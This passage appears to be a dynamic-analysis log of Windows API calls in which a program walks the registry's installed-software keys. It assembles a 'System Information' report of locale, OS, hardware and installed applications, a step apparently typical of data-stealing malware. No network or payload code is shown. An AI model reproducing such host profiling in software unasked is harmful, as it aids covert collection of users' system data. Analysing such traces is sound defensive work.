[0261.813] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.813] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.814] LocalFree (hMem=0x6bec00) returned 0x0 [0261.814] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.814] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1a, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.814] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.814] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.814] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.814] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2005 Redistributable", lpcbData=0x24fac4*=0x54) returned 0x0 [0261.815] LocalAlloc (uFlags=0x40, uBytes=0x20a8) returned 0x6f35b0 [0261.815] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="8.0.61001", lpcbData=0x24facc*=0x14) returned 0x0 [0261.815] StrStrW (lpFirst="Microsoft Visual C++ 2005 Redistributable", lpSrch="8.0.61001") returned 0x0 [0261.815] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n") returned 53 [0261.815] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n", lpSrch="\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n") returned 0x0 [0261.815] lstrlenW (lpString="\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n") returned 53 [0261.815] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n") returned 1669 [0261.815] LocalAlloc (uFlags=0x40, uBytes=0xe74) returned 0x6e5058 [0261.816] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.817] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.817] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.817] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.818] LocalFree (hMem=0x6bec00) returned 0x0 [0261.823] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.823] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1b, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0011-0000-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.823] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0011-0000-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.823] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.823] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.824] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Office Professional Plus 2016", lpcbData=0x24fac4*=0x50) returned 0x0 [0261.824] LocalAlloc (uFlags=0x40, uBytes=0x20a0) returned 0x6f35b0 [0261.824] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.824] StrStrW (lpFirst="Microsoft Office Professional Plus 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.824] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n") returned 56 [0261.824] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n", lpSrch="\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n") returned="\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n" [0261.824] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.825] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.825] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.825] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.825] LocalFree (hMem=0x6bec00) returned 0x0 [0261.825] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.825] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1c, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0015-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.826] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0015-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.826] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.826] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.826] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Access MUI (English) 2016", lpcbData=0x24fac4*=0x48) returned 0x0 [0261.826] LocalAlloc (uFlags=0x40, uBytes=0x2090) returned 0x6f35b0 [0261.826] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.826] StrStrW (lpFirst="Microsoft Access MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.826] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n") returned 52 [0261.826] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n", lpSrch="\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.826] lstrlenW (lpString="\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n") returned 52 [0261.826] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n") returned 1722 [0261.826] LocalAlloc (uFlags=0x40, uBytes=0xedc) returned 0x6f5648 [0261.827] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.827] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.828] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.829] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.829] LocalFree (hMem=0x6bec00) returned 0x0 [0261.829] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.829] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1d, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0016-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.829] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0016-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.829] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.829] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.830] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Excel MUI (English) 2016", lpcbData=0x24fac4*=0x46) returned 0x0 [0261.830] LocalAlloc (uFlags=0x40, uBytes=0x208c) returned 0x6f35b0 [0261.830] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.830] StrStrW (lpFirst="Microsoft Excel MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.830] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n") returned 51 [0261.830] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n") returned 0x0 [0261.830] lstrlenW (lpString="\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n") returned 51 [0261.830] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n") returned 1774 [0261.830] LocalAlloc (uFlags=0x40, uBytes=0xf42) returned 0x6e5058 [0261.831] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.832] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.832] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.832] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.832] LocalFree (hMem=0x6bec00) returned 0x0 [0261.832] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.832] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1e, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-0018-0409-0000-0000000FF1CE}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.832] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{90160000-0018-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.833] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.833] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.833] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft PowerPoint MUI (English) 2016", lpcbData=0x24fac4*=0x50) returned 0x0 [0261.833] LocalAlloc (uFlags=0x40, uBytes=0x20a0) returned 0x6f35b0 [0261.833] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="16.0.4266.1001", lpcbData=0x24facc*=0x1e) returned 0x0 [0261.833] StrStrW (lpFirst="Microsoft PowerPoint MUI (English) 2016", lpSrch="16.0.4266.1001") returned 0x0 [0261.833] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n") returned 56 [0261.833] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n", lpSrch="\x09Microsoft PowerPoint 